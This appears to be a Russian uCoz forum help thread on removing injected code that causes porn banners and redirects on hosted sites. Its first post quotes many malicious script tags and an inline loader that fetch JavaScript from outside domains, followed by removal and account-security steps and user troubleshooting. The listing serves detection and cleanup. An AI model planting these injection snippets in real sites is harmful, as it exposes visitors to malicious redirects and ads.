Модератор форума: Yuri_G  
Если на вашем сайте появились порнобаннеры
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 1 | 15:57:08
Если на вашем сайте постоянные перебросы на другие сайты или появляется куча всплывающих рекламных баннеров, порнобаннеров, то вы должны проверить код страниц на наличие следующих скриптов:

Код
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/hvuz2754blb414j/niucee.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/eipt4uu8dbovggv/niuggcee.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/1ca1t7akhf87zrc/flashsiteru.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/af6arwcjnknnb15/menu.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/ud3ne5xe8dcre8u/topbottom.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/kuejhhvopk6nw6z/mysql.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/g5zffknmr8da4tp/update.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/4lgd2g170q96tq3/menu-v2.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/4f9eakzpj17n2yw/shapka.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/tnwyduomjbcsxzm/opapo.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/207odofje1uzdl5/orororo.txt"></script>
<script language="JavaScript" src="http://gocash.ws/js/slider.php?id=51"></script>
<script language="javascript" src="http://golink2.ru9.biz/js/back.php?id=43"></script>
<script language='javascript' type='text/javascript' src='http://omirevovne.ru/55zgn5x6ihj88voak3xatwx61o2o28l'></script>
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://omirevovne.ru/739tqn6t0d66blax8ijp5g164r61v4ut'></script>
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://omirevovne.ru/98vihkxfbix863weu7zv9wqxjxhbbdh'></script>
<script type="text/javascript" src="http://nativevat.hol.es/rases.txt"></script>
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://tsingera.ru/5easame6c5z7eb11wv3tp0164r61v4ut'></script>
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/6mg4oc9iyoi50h5tcwiudp6yfoe9gnd5e53tyz991m51k05'></script>
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/9bg8m0fsumq6pg79dp5ikt8sy9lxik40i89gq7udb51xjt1'></script>
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/7s0qxmmi2365xqgf6si4b17klvgtdyvrm5ex2ij7pdg5jet'></script>
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/8jqhrtj5gcy538xp6e6s7h8nepubdfejg5vjptg5p0eti11'></script>


Актуальные на данный момент и самые распространенные эти скрипты

Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://bobrilla.com/7h4p5qn4qhr8ee1ywr1nh01af3d31nbp'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://iqmasa.ru/6rzofz8uuc28ef8pehs6rx5nbidd8hra473w3yk0c1n9d39'></script>

Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://fasterdir.ru/8v0n2hh3me45jvyxrtdyc4164r61v4ut'></script>


Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://omirevovne.ru/739tqn6t0d66blax8ijp5g164r61v4ut'></script>


Код
<script language='javascript' type='text/javascript' src='http://omirevovne.ru/55zgn5x6ihj88voak3xatwx61o2o28l'></script>


Код
<script language="javascript" src="http://golink2.ru9.biz/js/back.php?id=43"></script>


Код
<script language="JavaScript" src="http://gocash.ws/js/slider.php?id=51"></script>


Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://mobatori.com/6h3mo39hhqx8pibnjyshzo13skikuus5'></script>


Код
<script language='javascript' type='text/javascript' src='http://omirevovne.ru/55zgn5x6ihj88voak3xatwx61o2o28l'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/8mi9nn0te6q68tjygr5vm573z85xk4lzw89gq7udb51xh8l'></script>


Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://tsingera.ru/5easame6c5z7eb11wv3tp0164r61v4ut'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/6mg4oc9iyoi50h5tcwiudp6yfoe9gnd5e53tyz991m51k05'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/9bg8m0fsumq6pg79dp5ikt8sy9lxik40i89gq7udb51xjt1'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/7s0qxmmi2365xqgf6si4b17klvgtdyvrm5ex2ij7pdg5jet'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/8jqhrtj5gcy538xp6e6s7h8nepubdfejg5vjptg5p0eti11'></script>


Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://chicop.ru/68sb0mshp9b78t1epj44r8zi8bjocb9'></script>


Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://mobmas.ru/s/948'></script>


Код

<script type="text/javascript">
  (function(w) {
  var script = document.createElement('script');
  var i = setInterval(function() {
  if (typeof w.document.body !== 'undefined') {
  script.src = 'http://knjjiiyqj.about-home.info' + '/?818010=LmcuKHw4NjU5MTM-KWdrbm5oaG0';
  w.document.body.appendChild(script);
  clearInterval(i);
  }
  }, 200);
})(window);
</script>
<script type="text/javascript">
  (function(w) {
  var script = document.createElement('script');
  var i = setInterval(function() {
  if (typeof w.document.body !== 'undefined') {
  script.src = 'http://knjjiiyqj.about-home.info' + '/?823389=KWApL3s_MTI-NjQ5LmBsaWlvb2U';
  w.document.body.appendChild(script);
  clearInterval(i);
  }
  }, 200);
})(window);
</script>



Как удалить:

1) Код как правило внедряется в шаблоны Страницы сайта. Модуль новости (все шаблоны) но могут быть варианты. Иногда код внедряется во все шаблоны сайта.
Прописывается в верхней части шаблона или в самом низу. Реже встречается в футере (глобальный блок Нижняя часть сайта)

2) Для удаления нужно воспользоваться функцией Быстрой замены. Для этого надо пройти в панель управления - Дизайн - Управление дизайном - Быстрая замена - В поле "Что заменить" вставляете скрипт (даже если внедрено много скриптов лучше удалять по одному) - Поле на что изменить оставляете пустым и производите замену во всех действующих модулях
Если скриптов много внедрено, можно попробовать многострочную замену по той же схеме
3) После очистки сайта от внедренного кода нужно обязательно сменить пароль uID профиля, которым администрируете сайт. Инструкция по изменению пароля находится тут //forum.ucoz.ru/forum/45-52299-1
4) Если после изменения uID пароля на новый сложный у вас снова и снова возникает проблема внедрения чужеродного кода, то выполните следующие инструкции:
1) создайте нового пользователя в панели управления сайтом: задайте ему Логин и сложнейший пароль
2) дайте созданному пользователю права администратора, а у бывшего uID профиля, которым администрировали сайт заберите права и переведите его в низшую группу
3) в общих настройках сайта поставьте старый Вид кнопки uID авторизации и далее администрируйте сайт локально
5) Если локальный способ администрирования для вас не подходит, то создайте в системе ещё один uID профиль, на котором не будет сайтов и прав управления ни одним из сайтов. И новый созданный профиль используйте для авторизации на сайтах системы uCoz с uID авторизацией. А uID профилем, которым вы администрируете сайт или сайты заходите только к себе на сайты и более никуда. И поставьте на uID пароль администратора сайта сложнейший пароль!
6) Заберите права доступа к админ бару другим администраторам и модераторам вашего сайта. не пускайте никого в панель управления сайтом
7) Будьте внимательны к письмам, которые приходят на вашу почту. Часто мошенники имитируют письма от вебсервиса uCoz, в которых просят вас пройти или верификацию или пройти по ссылкам, также просят ввод ваших данных (вебтоп пароль и пароль uID профиля или секретный вопрос и ответ). Если вы сомневаетесь в письме, которое вам пришло от имени сервиса, вы можете всегда спросить или на форуме в этой теме //forum.ucoz.ru/forum/45-46950-1 или перешлите его сразу на адрес abuse@ucoz.ru
Будьте всегда бдительны и следите за темой //forum.ucoz.ru/forum/45-35739-1


Если вы вообще ничего не поняли, но проблема появления всплывающих порнобаннеров и переброски на чужие сайты с вашего у вас существует, то при обращении в эту тему вы должны дать ссылку на свой сайт, дать ссылку на сайт куда перебрасывает (если есть переброс), а так же указать происходит это под логином или под гостем

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 286 | 20:08:53
andreyvs77, начните с главного. с удаления мусора на сайте. удалите скрипты перевода сайта. кпд нулевое, но слишком много мусора. далее дайте скрин левой рекламы, которую вы видите

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
andreyvs77
Сообщений: 3
Репутация: 0

Сообщение # 287 | 23:32:56
Вот скрин
Прикрепления: 8825334.jpg (436.9 Kb)
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 288 | 23:41:44
andreyvs77, это реклама, которая выводится при оплате услуг пакета минимальный. подробнее http://tariffs.ucoz.net/

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
andreyvs77
Сообщений: 3
Репутация: 0

Сообщение # 289 | 00:03:20
Спасибо, все прояснилось
Админ0713
Сообщений: 37
Репутация: 18

Сообщение # 290 | 07:37:09
Добрый день! Помогите решить след. проблему. На нашем школьном сайте http://sch83-rostovdon.ru/
время от времени происходит переброс на чужую страницу , а именно на http://4600usd.com/rtkfinances.php
(скрин прилагается). Заранее благодарна.
Прикрепления: 3187047.jpg (31.8 Kb)
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 291 | 11:43:01
Админ0713, с каких страниц происходит переброс? только с главной или с других тоже? под логином или под гостем или и так и так?
в любом случае надо удалить информер часов от http://101widgets.com/ Он часто страдают тем, что прошивают свои информеры довольно неприятной рекламой. не надо школьный сайт своими руками помещать в группу риска

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
Админ0713
Сообщений: 37
Репутация: 18

Сообщение # 292 | 18:39:22
webanet, переброс происходит при переходе на сторонний сайт http://sh83-rostovdon.ru/
Это тоже наш школьный сайт(Вкладка верт.меню - "Страницы классов"). Переход с главной, под логином, как гость я не пробовала. Переброс происходит не всегда. Вот только часы стоят очень давно, а проблема началась гораздо позже. Был такой же переброс по кнопке "вверх". Я ее удалила, проблема осталась. В любом случае, огромное спасибо, я попробую удалить часы, посмотрю, что из этого получится.

Добавлено (01 Дек 2014, 18:39:22)
---------------------------------------------
webanet, Все таки дело наверное было в часах. Удалила их и перебросов не стало. Большое спасибо за подсказку.

Сообщение отредактировал Админ0713 - Пятница, 28 Ноя 2014, 15:07:56
yabrim
Сообщений: 3
Репутация: 0

Сообщение # 293 | 19:34:52
Здравствуйте! У меня на нвоом сайте иногда выскакивает баннер, как его выявить и удалить? Заранее спасибо. Баннер на скрине слева

Добавлено (20 Дек 2014, 19:32:21)
---------------------------------------------
вот ссылка на скрин с баннером http://hostingkartinok.com/show-image.php?id=d4580a3608702a9b595a5d183a1d71a1

Добавлено (20 Дек 2014, 19:34:52)
---------------------------------------------
ссылка на скрин скрин

webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 294 | 21:15:28
yabrim, нужна ссылка не на скрин микроскопического размера, а ссылка на сайт. без ссылки на сайт даже гадать бесполезно. но если гадать по скрину, то похоже на заражение браузера

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
yabrim
Сообщений: 3
Репутация: 0

Сообщение # 295 | 21:20:06
ясно, возможно вы правы, так как знакомый программист рылся в файлах сайта и ничего не нашел, а как вылечить заражение браузера? Тупо удалить и переустановить? Ибо проверял касперским на вирусы ничего не нашел.
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 296 | 21:24:23
yabrim, расширения смотрите в первую очередь. проверьте сайт в другом браузере

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
yabrim
Сообщений: 3
Репутация: 0

Сообщение # 297 | 21:25:03
ок спасибо
bucket
Сообщений: 3
Репутация: 0

Сообщение # 298 | 00:30:53
Добрый день
У меня вопрос
<script ----------"></script> прописанные на сайте они все разные?
или они в процессе общения НА ФОРУМЕ повторяются каждый по 58 раз

А почему спрашиваю основной список (38 шт.) проверил
результата ноль

или сделайте отдельную стр-ссылку откуда можно было бы скачать все скрипты одним (файлом.txt)

Добавлено (25 Дек 2014, 00:30:53)
---------------------------------------------
bucket,
а то как то обидно махом все сайты рухнули
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 299 | 17:31:30
bucket, я ничего не поняла из вашего сообщения. посмотрела пару сайтов. на всех стоит порно реклама
Доступно только для пользователей
Код
<noindex><script type='text/javascript' src='http://dosugcz.biz/sticker?id=249491&arr=244738176,244732966,244728746,244725856,244707536,244707506,244707376,244703296,244703276,244698586,244690936,239560886&t=_blank&p=tr&enc=utf-8'></script><div align="center">
<a href="http://clickcashmoney.com/index.htm?wm=249491" target="_blank"><strong>Заработай на телках</strong></a>
</noindex>
или такой тип или такой
Код
<noindex><script type='text/javascript' src='http://dosugcz.biz/sticker?id=249491&arr=244738176,244732966,244728746,244725856,244707536,244707506,244707376,244703296,244703276,244698586,244690936,239560886&t=_blank&p=tr&enc=utf-8'></script></noindex>

образцы кода я вам дала удаляйте с помощью быстрой замены в глобальных блоках или руками.

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
bucket
Сообщений: 3
Репутация: 0

Сообщение # 300 | 18:20:53
Добрый день

вы как сотрудник корпорации Ucoz
прекрасно понимаете о чем идет речь совершенно об ином
И все же решили поиздеваться надо мною
Ну , если вам невдомек
Или вы обсуждая текущую тему на форуме все же слышите о текущих вопросах впервые то уточняю:
например происходит переадресация сайта на
1-н из них
http://m0biland.com/s467562k0/preland/?show=1

а мои партнерские отношения с проектами
http://dosugcz.biz/
и
http://clickcashmoney.com
тут вообще ни причем
С уважением Василий
Прикрепления: 7356342.jpg (54.0 Kb)
Поиск: